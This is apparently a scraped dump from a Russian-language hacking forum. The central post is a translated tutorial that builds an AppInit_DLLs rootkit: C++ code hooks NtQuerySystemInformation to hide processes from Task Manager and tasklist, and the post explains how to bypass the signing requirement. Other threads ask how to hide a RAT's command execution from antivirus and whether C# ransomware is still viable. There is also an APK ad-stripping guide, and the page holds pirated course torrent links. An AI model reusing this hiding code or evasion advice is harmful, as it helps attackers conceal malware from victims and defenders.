OTUS, Сурен Хоренян - Python-разработчик. Базовый курс (Часть 1-4) (2020) [Link](http://magnet:?xt=urn:btih:60e86fecc4c7780e3b1fe4e2bd4dcaf65126ec6c&dn=[underver.se].t192094.torrent&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers- paradise.org%3A6969&tr=udp%3A%2F%2Fexplodie.org%3A6969&tr=udp%3A%2F%2Ftracker.opentrackr.org%3A1337&tr=http%3A%2F%2Fretracker.local/announce&tr=http%3A%2F%2Fund3rv3rse.info%2Ffree%2Fannounce)
OTUS - Разработчик Python. Продвинутый курс (2020) [Link](http://magnet:?xt=urn:btih:3b7b182d5588ec245adef27b3b6d8faa39284a7a&dn=[underver.se].t175684.torrent&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers- paradise.org%3A6969&tr=udp%3A%2F%2Fexplodie.org%3A6969&tr=udp%3A%2F%2Ftracker.opentrackr.org%3A1337&tr=http%3A%2F%2Fretracker.local/announce&tr=http%3A%2F%2Fund3rv3rse.info%2Ffree%2Fannounce)
CyberSecuity
Udemy Cybersecurity Courses Collection Link

Туториал по перехвату Windows API (пример с внедрением DLL)
ID: 6765d804b4103b69df3758ed
Thread ID: 63646
Created: 2022-03-01T11:27:35+0000
Last Post: 2022-03-05T06:46:57+0000
Author: yashechka
Prefix: Статья
Replies: 8 Views: 2K

Эта статья посвящена простому подходу к настройке глобальных перехватчиков API в масштабе всей системы. Для инъекции DLL мы будем использовать ключ реестра с именем AppInit_DLLs, а для выполнения перехвата API в Windows мы будем использовать библиотеку Mhook. В этой статье также будет представлен пример внедрения DLL: мы покажем, как можно легко сделать процесс calc.exe невидимым в списке запущенных процессов.

О перехвате API

Перехват Windows API — это процесс, позволяющий перехватывать вызовы API- функций. Это дает вам контроль над тем, как ведет себя операционная система или часть программного обеспечения. Некоторые из программных решений, использующих перехватчики, включают: программное обеспечение для защиты от вредоносных программ, решения для обеспечения безопасности приложений, инструменты мониторинга безопасности, системные утилиты, инструменты для программирования и многие другие.

Типы хуков API

Хуки API можно разделить на следующие типы:

- Локальные хуки: они влияют только на определенные приложения.
- Глобальные хуки: они влияют на все системные процессы.

Тип метода перехвата для Windows, который мы здесь рассматриваем, относится к глобальному типу. Он влияет на все процессы во всех сеансах (в отличие от метода SetWindowsHooks, который ограничен только выбранным рабочим столом).

Инфраструктура AppInit_DLL

Инфраструктура AppInit_DLLs загружает предопределенный набор DLL во все процессы пользовательского режима, связанные с библиотекой User32.dll (на самом деле исполняемых файлов, которые не были бы связаны с ней, почти нет). Когда User32.dll инициализируется, она загружает соответствующие библиотеки DLL, тем самым выполняя внедрение DLL в процессы.

Чтобы изменить поведение инфраструктуры AppInit_DLL, необходимо настроить значения раздела реестра HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows.

Значение| Описание| Пример
---|---|---
LoadAppInit_DLLs
(REG_DWORD)| Позволяет включать и выключать AppInit_DLL в глобальном масштабе.| 0x0 отключает AppInit_DLL.
0x1 включает AppInit_DLL

AppInit_DLLs
(REG_SZ)
| Позволяет указать список DLL для загрузки. Элементы должны быть разделены запятыми или пробелами. Чтобы указать полный путь к DLL, используйте короткие имена файлов.| C:\PROGRA~1\Test\Sample.dll
RequireSignedAppInit_DLLs
(REG_DWORD)| Позволяет ограничить диапазон библиотек DLL только подписанными кодом.| 0x0 позволяет загружать любые библиотеки DLL
0x1 позволяет загружать только библиотеки DLL с кодовой подписью.

Библиотека Mhook

Существует несколько библиотек перехвата API. Как правило, они делают следующее:

- Заменяют начальную часть кода определенной функции нашим собственным кодом (также известным как трамплин). После выполнения функция переходит к обработчику ловушек.
- Сохраняет исходную версию замененного кода определенной функции. Это необходимо для правильной работы определенной функции.
- Восстанливает замененную часть определенной функции.

Как я упоминал ранее, при создании наших глобальных хуков мы будем использовать библиотеку Mhook. Это бесплатная и простая в использовании библиотека с открытым исходным кодом для перехвата Windows API, поддерживающая системные архитектуры x32 и x64. Его интерфейс не сложен и не требует пояснений:

**BOOL Mhook_SetHook(PVOID *ppSystemFunction, PVOID pHookFunction);
BOOL Mhook_Unhook(PVOID *ppHookedFunction); **

Более подробная информация о том, как использовать библиотеку, доступна далее в статье и на домашней странице Mhook.

Пример реализации

В этом примере мы будем использовать C++ для написания DLL пользовательского режима, чтобы проиллюстрировать методы внедрения DLL. Для этого необходима последняя версия исходников Mhook, которые будут добавлены в ваш проект. Обратите внимание, что любые предварительно скомпилированные заголовки должны быть отключены для файлов Mhook.

Как мы уже говорили, чтобы привести пример перехвата API, мы сделаем процесс calc.exe невидимым в списке процессов — для любого инструмента Windows, представляющего такой список. Этот пример продемонстрирует, как создать и внедрить DLL в процесс, тем самым установив глобальную перехватчик API — и создав своего рода руткит appinit_dlls.

Функция источника

Чтобы получить список запущенных процессов, вам нужно вызвать функцию NtQuerySystemInformationNTAPI. Это означает, что для нашего проекта требуется кое-что из NTAPI. Поскольку мы не можем найти полную информацию в заголовке winternl.h, типы данных должны быть определены вручную:

Code:Copy to clipboard

//
// Defines and typedefs
#define STATUS_SUCCESS  ((NTSTATUS)0x00000000L)
typedef struct _MY_SYSTEM_PROCESS_INFORMATION
{
    ULONG                   NextEntryOffset;
    ULONG                   NumberOfThreads;
    LARGE_INTEGER           Reserved[3];
    LARGE_INTEGER           CreateTime;
    LARGE_INTEGER           UserTime;
    LARGE_INTEGER           KernelTime;
    UNICODE_STRING          ImageName;
    ULONG                   BasePriority;
    HANDLE                  ProcessId;
    HANDLE                  InheritedFromProcessId;
} MY_SYSTEM_PROCESS_INFORMATION, *PMY_SYSTEM_PROCESS_INFORMATION;
typedef NTSTATUS (WINAPI *PNT_QUERY_SYSTEM_INFORMATION)(
    __in       SYSTEM_INFORMATION_CLASS SystemInformationClass,
    __inout    PVOID SystemInformation,
    __in       ULONG SystemInformationLength,
    __out_opt  PULONG ReturnLength
    );

Создание и инициализация глобальной переменной позволяет нам хранить адрес исходной функции.

//
// Original function
PNT_QUERY_SYSTEM_INFORMATION OriginalNtQuerySystemInformation =

(PNT_QUERY_SYSTEM_INFORMATION)::GetProcAddress:):GetModuleHandle(L"ntdll"),
"NtQuerySystemInformation");

Click to expand...

Функция после хука

После того, как функция была перехвачена, сначала она вызывает исходную функцию. Затем мы исследуем SystemInformationClass. Если окажется, что это SystemProcessInformation, в списке запущенных процессов нам нужно найти и удалить все записи, связанные с calc.exe. Вот и все!

Обратите внимание, что исходная и перехваченная функции должны иметь одинаковые cсигнатуры.

Code:Copy to clipboard

//
// Hooked function
NTSTATUS WINAPI HookedNtQuerySystemInformation(
    __in       SYSTEM_INFORMATION_CLASS SystemInformationClass,
    __inout    PVOID                    SystemInformation,
    __in       ULONG                    SystemInformationLength,
    __out_opt  PULONG                   ReturnLength
    )
{
    NTSTATUS status = OriginalNtQuerySystemInformation(SystemInformationClass,
        SystemInformation,
        SystemInformationLength,
        ReturnLength);
    if (SystemProcessInformation == SystemInformationClass && STATUS_SUCCESS == status)
    {
        //
        // Loop through the list of processes
        //
        PMY_SYSTEM_PROCESS_INFORMATION pCurrent = NULL;
        PMY_SYSTEM_PROCESS_INFORMATION pNext    = (PMY_SYSTEM_PROCESS_INFORMATION)
        SystemInformation;
       
        do
        {
            pCurrent = pNext;
            pNext    = (PMY_SYSTEM_PROCESS_INFORMATION)((PUCHAR)pCurrent + pCurrent->
            NextEntryOffset);
            if (!wcsncmp(pNext->ImageName.Buffer, L"calc.exe", pNext->ImageName.Length))
            {
                if (0 == pNext->NextEntryOffset)
                {
                    pCurrent->NextEntryOffset = 0;
                }
                else
                {
                    pCurrent->NextEntryOffset += pNext->NextEntryOffset;
                }
                pNext = pCurrent;
            }          
        }
        while(pCurrent->NextEntryOffset != 0);
    }
    return status;
}

Настройка хука Windows

Настройка хука не требует особых усилий: вам просто нужно вызвать Mhook_SetHook из DllMain после загрузки DLL в новый процесс:

Code:Copy to clipboard

//
// Entry point
BOOL WINAPI DllMain(
    __in HINSTANCE  hInstance,
    __in DWORD      Reason,
    __in LPVOID     Reserved
    )
{      
    switch (Reason)
    {
    case DLL_PROCESS_ATTACH:
        Mhook_SetHook((PVOID*)&OriginalNtQuerySystemInformation,
        HookedNtQuerySystemInformation);
        break;

Отвязка

Для обратного перехвата вам нужно вызвать Mhook_Unhook из DllMain после выгрузки DLL из процесса:

Code:Copy to clipboard

//
// Entry point
BOOL WINAPI DllMain(
    __in HINSTANCE  hInstance,
    __in DWORD      Reason,
    __in LPVOID     Reserved
    )
{      
    switch (Reason)
    {
    ...
    case DLL_PROCESS_DETACH:
        Mhook_Unhook((PVOID*)&OriginalNtQuerySystemInformation);
        break;
    }

Выполнение перехвата API

Теперь мы продемонстрируем, как работает наш DLL-хук. Следуй этим шагам:

- Соберите проект и поместите AppInitHook.dll, который у вас получится в результате, в корень диска C.

1646133962131.png

- В редакторе реестра Windows найдите ключ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows и выберите значение AppInit_DLLs.

1646133973691.png

- Отредактируйте значение и введите путь к хуку DLL (в нашем примере это C:\AppInitHook.dll).
- После того, как вы закончите редактирование реестра, хуки начнут работать.

Теперь запустим несколько экземпляров скрытого процесса. После этого проверьте процессы в диспетчере задач Windows: calc.exe отсутствует в списке.

1646134005002.png

Поскольку предоставленный хук API является глобальным, мы можем видеть, что тот же результат отображается другими программами с функциональностью, аналогичной диспетчеру задач Windows. Например, Process Explorer от Марка Руссиновича.

1646134016191.png

Последняя проверка: откройте командную строку и запустите tasklist.exe.

1646134027187.png

Процесс стандартного калькулятора Windows и все его экземпляры были успешно скрыты. Хук API работает, как и ожидалось.

Ограничения

Теперь нужно сказать несколько слов об ограничениях этого метода:

- Подключение к User32.dll: Как мы уже говорили в начале статьи, затронуты могут быть только те процессы, которые подключены к User32.dll.
- Могут быть вызваны только функции из Ntdll.dll и Kernel32.dll: Причина этого в том, что перехват DLL происходит в DllMain из User32.dll и никакая другая библиотека в этот момент не инициализируется.
- Функции безопасности Windows 7 и Windows 2008 R2: для этих функций требуются библиотеки DLL AppInit с цифровыми подписями. На самом деле это не большая проблема, поскольку функции можно отключить с помощью редактора реестра Windows.
- Пробелы в полном пути к AppInit DLL не допускаются.

Переведено специально для XSS.IS
Автор перевода: yashechka
Источник: https://www.apriorit.com/dev-blog/160-apihooks

C++ Книги
ID: 6765d804b4103b69df3758ee
Thread ID: 56511
Created: 2021-09-10T10:47:37+0000
Last Post: 2022-03-01T23:18:02+0000
Author: Dido
Prefix: Мануал/Книга
Replies: 9 Views: 2K

День добрый форумчани. Решил вот сделать пост на тему "Какие книги начать\продолжать изучать по С++". Мб пост кописат, или уже "был", но я не нашел, а книги и учения вещь нужная и полезная, а значиться должна быть под рукой всегда, тем более по такому прекрасному и многообразному языку, как "С++". Вообщем, угощайтесь на здоровье. Книги начинаются по алгоритму "От наиболее важной" в зависимости от степени нагрузки и приоритетности. Хотя это кому как.
ОФТОП: Все ссылки залиты на мега, "траянов, ратников, майнеров" нет, я не тупой, чтобы плевать в колодез, с которого потом пить буду:)

1 - Объектно-ориентированное программирование в С++. Автор Р. Лафоре
Без названия.jpg
Страниц - 928
Формат - PDF
ИМХО маст хев в библиотеке любого сишника. Здесь вам и начало "Начал" и многопоточность, и вложенные классы и ассинхроность. Автор предоставляет материал по алгоритму "Это просто запомни, пока не вникай. Через два предложения я тебе все объясню." Внятно, просто, на русском. Очень много материала и реальных примеров задач.
[Скачать](https://mega.nz/file/WQoVVAhS#hc9nRi2vzsZ4MgwFE- KDIP2xzK_b8VjI1YdlD5S4kkQ)

2 - Язык программирования С++. Специальное издание. Автор Б. Страуструп
Без названия (1).jpg
Ну тут добавить нечего, это классика, автор этой книги и есть человек, который придумал С++. Для некоторых она может показаться слишком математичной, так и есть, ведь он в первую очередь математик. По этому, кто не на короткой руке с "матешой" или "мат-анализом", будет не привычно. Однако, книга была переведена на 19 языков, входит в классику "Computer Science".
Страниц - 1136
Формат - Djvu
Скачать

3 - Фундаментальные Алгоритмы на С++. Автор Р. Седжвик
000225474.jpeg
Страниц - 688
Формат - PDF
Скачать
Хотите вы этого или нет, а алгоритмы знать надо, и еще не просто знать, а уметь по среди ночи написать "решето Ератосфена" или "Бинарный поиск"...шутка:) . Но книга тоже из ряда маст хев. Автор не просто так выбрал с++, хотя от выбраного языка алгоритм не коим образом не зависит. Книга легка в чтение, хотя и порой может быть обрывками или невнятностями пахнуть. Автор начинает с "мелкой рыбы", а затем плавно приводит к построению и анализу алгоритмов, их приминение на конкретных программах.

4 - Программирование с++ в примерах и задачах. Автор А. Васильев
_на_C_в_п_MHilhCf.png
Страниц - 369
Формат - PDF
Скачать
Наш отечественный бестселлер. Книга проста в изучение, сжато но по сути представленые основные тезисы языка, языковых конструкций, и АТД (абстрактные типы данных). К каждому разделу прикрепляется раздел с задачами. Много практики. Лучше начинать её после уверенных знаний в массивах, матрицах и указателей. ООП проходится бегло.

5 - MS Visual c++ 2010 в среде net. Автор В. Зиборов
45900786.jpg
Страниц - 387
Формат - PDF
Скачать
Ну здесь вы открываете для себя VS на C++\CLI. Много примеров, плюс алгоритмы, реальные задачи, много готовых решений и кода. Много задач по работе с графикой, буферизацией, чтение и запись файлов. Юзанье веббраузера для отрисовки данных, веб-формы. Как работать с базой SQL Server MS Access с помощью ADO.net. Для lvl middle, junior.

6 - Программирование на языке с++ в среде Qt Creator. Автор Р. Алексеев and company
HvfSD3vX5cI.jpg

Страниц - 448
Формат - PDF
Скачать
Все просто: выучили предыдущие книги, пора браться за фреймворк. Почти топовый фрейм, который юзают от "BMV" заканчивая "Nasa" для С++ "QT" или как его называют "КьюТи". На нем пилится чуть ли не половина софта, когда нужно быстро, качественно и кроссплатформенно. Это книга только отправная точка, ведь в фрейме содержиться почти 10000 классов. Только после уверенных знаний ООП и алгоритмов можете начинать прыгать в этот бассейн.

7 - Программирование сетевых приложений на с++. Автор Ш. Дуглас
__Programmirovanie_setevyh_prilozhenij_na_C._Tom_2.jpeg
Страниц - 302
Формат - PDF
Скачать
Не был бы я С++ кодер если бы не вспомнил о TCP/IP и сетевых app. Здесь вам и про TCP/IP протополы, сокеты, WIN-API и прочих ништяках расскажут. Паттерны проектировки ACE IIO с open source. Сетевое программирование на С++ это очень мощная вещь, кто её обуздает - тому будет открыта дорога в любой контору, компанию, офер.

8 - Игровой Движок. Автор Д. Грегори
44611134.jpg
Страниц - 1200
Формат - PDF
Скачать
Хотите кодить игры, welcome. Тут вам все покажут, все сорцы и практики. Правда нужно сперва знать линейную алгебру, матричный анализ и матан конечно же. Автор книги был топ разрабом в Midway, Electronic Arts и Naughty Dog. В этой книге он размывает абстракцию между игровым движком и низкроуровневой системой. Симуляция физики, анимация персов, алгоритмы отрисовки ландшафта, аудио кодеки, редакторы карт и много много всего.

8 - Алгоритмы и программы. Язык С++. Автор: Е. А. Конова, Г. А. Поллак
algoritmy_i_programmy_yazyk_s_ply_G4AQFsu.png
Страниц - 386
Формат - PDF
Скачать
Тоже как Алгоритмы и структуры данных. Основы оптимизации кода, основы программирования на плюсах, интересные материалы по алгоритмах. Примеров реальных задач нет, но не плохие выдуманные. Есть список алгоритвом, которые всегда спрашивают на собеседованиях.

Как спрятаться от runtime детектов?
ID: 6765d804b4103b69df375904
Thread ID: 62536
Created: 2022-02-05T21:06:05+0000
Last Post: 2022-02-13T06:41:00+0000
Author: ioioio777
Replies: 47 Views: 2K

Интересует вопрос, изложенный в заголовке.

Допустим, имеется RAT, работающий на TCP сокетах.
Логика простая : Есть сервер, есть клиент.
Сервер отправляет сообщение -> клиенту "Открой калькулятор". В коде клиента изложена логика поведения, что при получении сообщения "Открой калькулятор", он должен запустить процесс калькулятора.

Со стороны динамической проверки антивирусом данное поведение выглядит пиздец как подозрительно. Так как приложение ожидает сообщений с какого-то левого сервера и выполняет его команды.

Собственно, вопрос. Как можно реализовать выполнение команд, посланных с сервера, но сделать это не на столько заметным.

Парсинг ответа после запроса
ID: 6765d804b4103b69df375919
Thread ID: 61259
Created: 2022-01-12T18:48:20+0000
Last Post: 2022-01-17T08:46:49+0000
Author: Ags1of
Replies: 19 Views: 2K

Делаю софтец, который должен получать некоторую инфу, введённую юзером. Вот, допустим, нужный сайт https://vin01.ru/ Я ввожу туда номер автомобиля или вин, дальше нажимается кнопка и выводятся данные, мне нужно, чтобы полученные данные выводились в консоль. Помогите, пожалуйста. Набросков кода нет, так как не шарю в этой теме. Также хочу с некоторыми телеграм ботами. Помогите, пожалуйста.

Не шпионит ли Visual Studio?
ID: 6765d804b4103b69df37592b
Thread ID: 54652
Created: 2021-07-31T23:32:10+0000
Last Post: 2021-12-21T05:42:59+0000
Author: Bitard
Replies: 38 Views: 2K

У меня встала дилемма, в какой ОС разрабатывать свой проект под windows? Если кодить на винде в visual studio, то не будет ли VS(или же сама windows) шпионить за исходным кодом моих программ и отправлять их к себе на сервера? С другой стороны выбора у меня особо нет, так как mingw из линукс отказывается работать с разными windows библиотеками. В общем, что думаете об этом?

Is C# Ransomware still relevant?
ID: 6765d804b4103b69df37594b
Thread ID: 54925
Created: 2021-08-06T09:39:01+0000
Last Post: 2021-11-13T20:25:53+0000
Author: scrim
Replies: 19 Views: 2K

is c# ransomware still relevant in 2021 for companys? is it even possible to write a perfect ransomware in the language c#? what are the disadvantages?

Пишем "PedoChat" на С++
ID: 6765d804b4103b69df375953
Thread ID: 58465
Created: 2021-11-03T14:43:13+0000
Last Post: 2021-11-04T07:30:31+0000
Author: Dido
Prefix: Статья
Replies: 6 Views: 2K

Чтобы начать пилить этот чат, нам понадобится:

  1. Желание
  2. VS-2019 (студия)
  3. WS2tcpip.h (библиотека для winsocks, качать не надо, она уже «вмонтирована»)
  4. Прямые руки
  5. Программа Putty Скачать
  6. Свободного времени 1 час (с перерывами на сижку)
  7. Кофе (по желанию Пиво)
  8. Защита от пагубного влияния ретроградного Меркурия, если не помогло – см. пункт 1

Для начала давайте немного пробежимся по основным понятием и вспомогательным интерфейсам. WinSock - по сути, это «инструмент»\интерфейс, который входит в главную API WINDOWS библиотеку дабы упразднить разработку ПО на базе TCP\IP протоколов. То есть, можно смело сказать, что это интерфейс (если вы знакомы с ООП методологией, то это слова не должны отождествлять с GUI интерфейсом) к семейству протоколов TCP/IP. Представьте старую игру, когда группа двух ребят берет в руки вафельные стаканчики и протягивает между ними нитку, якобы для «прослушивания» друг друга на расстоянии. Так вот, стаканчики это и есть сокеты. На двух разных концах будут присутствовать «клиент» и «сервер», которые «общаются\взаимодействуют» между друг другом. Технология далеко не новая. Конечно, сами программисты windows не придумали их с нуля, их реализация лежит в основе «UNIX» систем еще интерфейса Беркли.

Проект будем реализовывать на основе двух разных проектах – первая часть сервак, вторая часть клиент. Все функции и детальный разбора я делать не буду, для этого нет времени, за то есть доп. ссылки и книги, которые я прикреплю. Для пущего понимая, я полагаю вы знакомы, что такое TCP/IP, ООП, функции и их вызов, структуры (С++).
Литература
UNIX сетевые?
C++ сетевое?
TCP/IP стек?
И так поехали


Часть 1 - Сервер​

Создаем клиент-часть подключения_LI.jpg


создание первого файла_LI.jpg


Для начала мы подключаем препроцессорную директиву «WS2tcpip.h» для работы с winsocks. Самая главная функция для реализации winsocks это WSAStartup(принимает два параметра 1 – Версия, которая будет использоваться, 2 – указатель на адрес памяти структуры WSADATA). Остальные коменты написаны сразу в коде.

C++:Copy to clipboard

#include <iostream>
#include <WS2tcpip.h> // сокеты windows API для доступа к сетевым сокетам, будем работать через них. К тому
// же он включает функции для запила winsock и много других фу-й, которые мы будем юзать в ходе разработки
#pragma comment(lib, "ws2_32.lib")

using namespace std; // да-да знаю, bad practice, но учитывая что это дом. работа, упустим излишества


void main()
{
    setlocale(LC_ALL, "Russian");

    WSAData WinSockObj;  // структура для создания winsocks
    WORD version = MAKEWORD(2, 2); // версия winsocks, которые мы будем использовать
    int winSock = WSAStartup(version, &WinSockObj);  // передаем в ф-ю версию нашего винсокса и адрес самого obj winsocks
    if (winSock != 0)
    {
        cerr << "Программа не может создать winsock!" << endl; // думаю по циклу ясно, а поток выбрали конечно соответственный для ошибок
        return;
    }

    SOCKET listenSockServer = socket(AF_INET, SOCK_STREAM, 0); // версия inet  - IPV4 , используем поток сокет, а последнее значение просто ноль.
    if (listenSockServer == INVALID_SOCKET)  // +- тоже самое, что в предыдущем ветвлении, только отличает второй операнд на сравнение
        {
        cerr << "Программа не может создать сокет!" << endl;
        return;
        }


    sockaddr_in addressIPForSocket; // создаем на основе структуры объект на основе выбранного протокола
    int serverSizeAddr = sizeof(addressIPForSocket);
    addressIPForSocket.sin_family = AF_INET; // семейство inet - IPV4
    addressIPForSocket.sin_port = htons(40000); // способ передачи байтов от хоста к сети, номер порта рандом - главное, чтобы он у вас бы не занят какой то службой
    addressIPForSocket.sin_addr.S_un.S_addr = INADDR_ANY;


    bind(listenSockServer, (sockaddr*)&addressIPForSocket, serverSizeAddr); // связываем наш сокет с портом, указатель на адрес и размер структуры адреса
    listen(listenSockServer, SOMAXCONN); // начинаем чекать сокет на прослушку порта, SOMAXCONN максимальная длина очереди, которая прослушивает порт.
    

    sockaddr_in addrClient;                 // начинаем ожидать первых подключений
    int clientSizeAddr = sizeof(addrClient); // получаем размер адреса клиента
    SOCKET clientSocket = accept(listenSockServer, (sockaddr*)&addrClient, &clientSizeAddr); // слушаем, получаем адрес, порт по которому клиент может приконектиться
    if (clientSocket == INVALID_SOCKET)
    {
        cerr << "Программе не удалось подключить клиента по данному порту!" << endl;
    }


    char host[NI_MAXHOST]; // для получение имени клиента, который приконектился
    char service[NI_MAXHOST]; // порт по которому клиент приконектился
    ZeroMemory(host, NI_MAXHOST); // default заполняет память нулями, первый параметр это указатель на блок памяти, который нужно заполнить, а второй размер в байтах этой же памяти
    ZeroMemory(service, NI_MAXSERV);
    // getnameinfo это ф-ю которая преобра. адрес сокета в независимый хост\службу, притом похерестично на каком протоколе это базируется.
    if (getnameinfo((sockaddr*)&clientSocket, clientSizeAddr, host, NI_MAXHOST, service, NI_MAXSERV, 0) == 0) // одним словом, если коннект удался...
    {
        cout << host << "  Удачно подключился по порту " << service << endl;
    }
    else
    {
        inet_ntop(AF_INET, &addrClient.sin_addr, host, NI_MAXHOST);
        cout << host << " подключение по порту " << htons(addrClient.sin_port) << endl;
    }
    closesocket(listenSockServer);

    char bufferSize[10000]; // размер буфера, делайте какой захотите сами
    while (true) // ожидаем клиента, пока он не отправит какие либо данные
    {
        ZeroMemory(bufferSize, 10000);
        int dataReceived = recv(clientSocket, bufferSize, 10000, 0); // ф-ю для отправки данных
        if (dataReceived == SOCKET_ERROR)
        {
            cerr << "Программа словила ошибку в отправке данных" << endl;
            break;
        }
        if (dataReceived == 0) // если ничего не получили, значить клиент вышел
        {
            cout << "Клиент покинул чат" << endl;
            break;
        }
        cout << string(bufferSize, 0, dataReceived) << endl;
        send(clientSocket, bufferSize, dataReceived + 1, 0); // сообщение для отправки клиенту, размер n+1 для нулевого символа
    }
    closesocket(clientSocket);
    WSACleanup(); // закрываем нашу лавочку и очищаем winsock
    // Закрываем сокет
    // Выключаем сокет
}

Написали, проверили код, делаем компиляцию
запускаем сервер_LI.jpg


Теперь включаем Putty
используем putty для connecta_LI (2).jpg


putty дропнулся, но коннект произошел_LI.jpg


Часть 2 - Клиент​

Снова проделываем те же махинации по созданию проекта, как и предыдущем случае.
Создаем клиент-часть подключения_LI.jpg


Делаем main() func для клиента
создаем главную функцию для клиента_LI.jpg


C++:Copy to clipboard

#include <iostream>
#include <string>
#include <WS2tcpip.h>
#pragma comment (lib, "ws2_32.lib")

using namespace std;

void main ()
{
    setlocale(LC_ALL, "Russian");
    string ipAddressServer = "127.0.0.1"; // IP адрес сервака по какому будем конектиться
    int portServer = 40000; // Порт для прослушки на сервере
    WSADATA WinSocksObjClient;
    WORD version = MAKEWORD(2, 2);
    int winSocksResultConnect = WSAStartup(version, &WinSocksObjClient); // переменная для запуска нашего winsocks
    if (winSocksResultConnect != 0) // проверяем, смогли ли получить коннект
    {
        cerr << "Программа не может создать winsock! " << winSocksResultConnect << endl;
        return;
    }
    SOCKET listenSockClient = socket(AF_INET, SOCK_STREAM, 0);
    if (listenSockClient == INVALID_SOCKET)
    {
        cerr << "Программа не может создать сокет, " << WSAGetLastError() << endl; // вызываем метод выдачи ошибок
    }
    sockaddr_in addressIPForClientSocket; // проделываем те же махинации, как и со структурой сокета сервера
    addressIPForClientSocket.sin_family = AF_INET;
    addressIPForClientSocket.sin_port = htons(portServer); // передаем переме. номера порта
    int sizeOfaddressIPForClientSocket = sizeof(addressIPForClientSocket); // перем. для хранения размера структуры
    inet_pton(AF_INET, ipAddressServer.c_str(), &addressIPForClientSocket.sin_addr);

    int connectResultToServer = connect(listenSockClient, (sockaddr*)&addressIPForClientSocket, sizeOfaddressIPForClientSocket); // реализуем коннект к серверу
    if (connectResultToServer == SOCKET_ERROR) // проверяем подключение
    {
        cerr << "Программа не может подключиться к серверу" << WSAGetLastError() << endl;
        closesocket(listenSockClient); // закрываем и очищаем
        WSACleanup();
        return;
    }
    char bufferSize[10000];
    string dataFromClient;
    do
    {
        cout << " ||>.. "; // приглашаешь к вводу данных
        getline(cin, dataFromClient); // по средства ф-и getline получаем поток ввода и данные от клиента
        if (dataFromClient.size() > 0) // чекнем, чтобы юзер что то отправил сперва
        {
            int sendResultFromClient = send(listenSockClient, dataFromClient.c_str(), dataFromClient.size() + 1, 0); // переменная для хранения результата отправки данных от клиента
            if (sendResultFromClient != SOCKET_ERROR)
            {
                ZeroMemory(bufferSize, 10000);
                int bytesReceivedFromCLient = recv(listenSockClient, bufferSize, 10000, 0); // фу-я для получение данных от клиента
                if (bytesReceivedFromCLient > 0)
                {
                    cout << "Сервер говорит: " << string(bufferSize, 0, bytesReceivedFromCLient) << endl; // выводим все в консоль
                }
            }
        }
    } while (dataFromClient.size() > 0);
    closesocket(listenSockClient);
    WSACleanup();
}

успешная компиляция клиента _LI.jpg


Теперь добавляем для удобства запуска серверную часть
кликаем правой кнопкой на наше решение и добавляем наш Сервер проект .png


сервер добавили тоже в проект.png
Проверяем, правильно ли добавили все файлы. Теперь выбираем свойства нашего решения
снова выбираем свойства нашего решения.png


и выставляем приоритет загрузки наших проектов.png


И теперь запускаете F5 и ловите пруфы от своего чата.
если вы проделали все верно, то мои вам поздравления -  вы кампухтер мастер lvl 90+_LI.jpg

Модификация APK | [Часть 1] Вырезаем рекламу
ID: 6765d804b4103b69df375955
Thread ID: 57303
Created: 2021-10-02T13:52:41+0000
Last Post: 2021-10-26T20:32:42+0000
Author: Research3r
Prefix: Статья
Replies: 3 Views: 2K

Недавно заинтересовался возможностью модификации андроид приложений и нашел несколько статей которыми хочу поделится с форумом. Делитесь своими находками/знаниями по этой теме в комментариях.
-----------------------

Удаление рекламы из Android приложений​

Встроенную в Android-приложения рекламу предлагают различные рекламные агентства, в основном это AdMob или Google AdWords. Итак, всё по порядку:

1. Распаковываем приложение при помощи ApkTool.
2. Находим файл AndroidManifest.xml , открываем его с помощью Notepad++.

3.1 В случае, если реклама от AdMob, удаляем следующие строки:
![](/proxy.php?image=https%3A%2F%2Ffans-android.com%2Fwp- content%2Fuploads%2F2012%2F10%2F%25D0%25A3%25D0%25B4%25D0%25B0%25D0%25BB%25D0%25B5%25D0%25BD%25D0%25B8%25D0%25B5-%25D1%2580%25D0%25B5%25D0%25BA%25D0%25BB%25D0%25B0%25D0%25BC%25D1%258B-%25D0%25B8%25D0%25B7-%25D0%25BF%25D1%2580%25D0%25B8%25D0%25BB%25D0%25BE%25D0%25B6%25D0%25B5%25D0%25BD%25D0%25B8%25D0%25B9-1.jpg&hash=420303384854e70677acd1bf2b66d856)

![](/proxy.php?image=https%3A%2F%2Ffans-android.com%2Fwp- content%2Fuploads%2F2012%2F10%2F%25D0%25A3%25D0%25B4%25D0%25B0%25D0%25BB%25D0%25B5%25D0%25BD%25D0%25B8%25D0%25B5-%25D1%2580%25D0%25B5%25D0%25BA%25D0%25BB%25D0%25B0%25D0%25BC%25D1%258B-%25D0%25B8%25D0%25B7-%25D0%25BF%25D1%2580%25D0%25B8%25D0%25BB%25D0%25BE%25D0%25B6%25D0%25B5%25D0%25BD%25D0%25B8%25D0%25B9-3.jpg&hash=289b1c52b3e8f5115e6745e79f81e09d)

3.2 Если же реклама от Google AdWords, то удаляем такие строки:

Eсли просто удалить записи из AndroidManifest. xml, то в приложении всё- равно может всплывать черный баннер с красными символами, который говорит нам «Здесь должна быть реклама», то есть самой рекламы нет, но место для баннера осталось.
![](/proxy.php?image=https%3A%2F%2Ffans-android.com%2Fwp- content%2Fuploads%2F2012%2F10%2F%25D0%25A3%25D0%25B4%25D0%25B0%25D0%25BB%25D0%25B5%25D0%25BD%25D0%25B8%25D0%25B5-%25D1%2580%25D0%25B5%25D0%25BA%25D0%25BB%25D0%25B0%25D0%25BC%25D1%258B-%25D0%25B8%25D0%25B7-%25D0%25BF%25D1%2580%25D0%25B8%25D0%25BB%25D0%25BE%25D0%25B6%25D0%25B5%25D0%25BD%25D0%25B8%25D0%25B9-7.jpg&hash=ae3e481858848a3dc960337792af672f)

Это можно исправить, переходим в папку _smali - > com -> google, _где удаляем папку ads. Таким образом мы избавляемся уже не только от рекламы, но и от назойливого баннера:
